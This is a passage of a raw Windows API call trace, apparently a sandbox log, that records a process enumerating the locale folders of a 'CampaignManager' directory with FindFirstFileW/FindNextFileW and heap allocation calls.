dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-sa", cAlternateFileName="")) returned 1 [0237.762] GetProcessHeap () returned 0xc10000 [0237.762] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0237.763] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa76f9fe7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0237.767] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa76f9fe7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.767] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xb5b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0237.767] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0237.767] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0237.767] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0237.767] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0237.768] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0237.769] GetProcessHeap () returned 0xc10000 [0237.769] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0237.769] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa772ddc0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0237.769] GetProcessHeap () returned 0xc10000 [0237.769] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0237.769] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa772ddc0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0237.789] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa772ddc0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.789] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xd556, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0237.789] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0237.789] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0237.789] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x230, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0237.790] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x230, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0237.790] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0237.791] GetProcessHeap () returned 0xc10000 [0237.791] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0237.791] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa77fb761, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES", cAlternateFileName="")) returned 1 [0237.791] GetProcessHeap () returned 0xc10000 [0237.791] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0237.791] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa77fb761, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0237.799] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa77fb761, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.800] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0237.800] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0237.800] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0237.800] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0237.800] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0237.801] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0237.802] GetProcessHeap () returned 0xc10000 [0237.802] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0237.802] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78433f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES-valencia", cAlternateFileName="CA-ES-~1")) returned 1 [0237.802] GetProcessHeap () returned 0xc10000 [0237.802] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0237.802] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78433f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0237.805] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78433f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.805] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0237.805] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0237.805] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0237.805] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0237.805] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0237.805] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0237.806] GetProcessHeap () returned 0xc10000 [0237.806] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0237.806] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78fe34b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0237.807] GetProcessHeap () returned 0xc10000 [0237.807] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0237.807] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78fe34b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0237.811] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78fe34b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.811] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9fc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0237.811] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x26a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0237.811] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0237.811] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0237.811] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0237.811] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0237.812] GetProcessHeap () returned 0xc10000 [0237.812] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0237.812] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa795f898, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0237.813] GetProcessHeap () returned 0xc10000 [0237.813] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0237.813] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa795f898, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 